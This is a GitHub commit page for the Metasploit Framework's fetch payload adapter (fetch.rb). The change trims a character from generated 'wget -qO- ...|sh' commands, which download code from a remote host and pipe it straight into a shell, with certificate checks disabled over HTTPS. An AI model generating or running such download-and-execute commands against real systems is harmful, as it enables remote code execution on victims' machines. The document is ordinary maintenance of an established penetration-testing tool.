Skip to content

Commit 6b220ba

Browse files
committed
Reclaim character a la jvoisin
1 parent 2459fa7 commit 6b220ba

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -400,9 +400,9 @@ def _generate_wget_command
400400
def _generate_wget_pipe
401401
case fetch_protocol
402402
when 'HTTPS'
403-
return "wget --no-check-certificate -qO - https://#{_download_pipe}|sh"
403+
return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh"
404404
when 'HTTP'
405-
return "wget -qO - http://#{_download_pipe}|sh"
405+
return "wget -qO- http://#{_download_pipe}|sh"
406406
else
407407
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
408408
end

0 commit comments

Comments
 (0)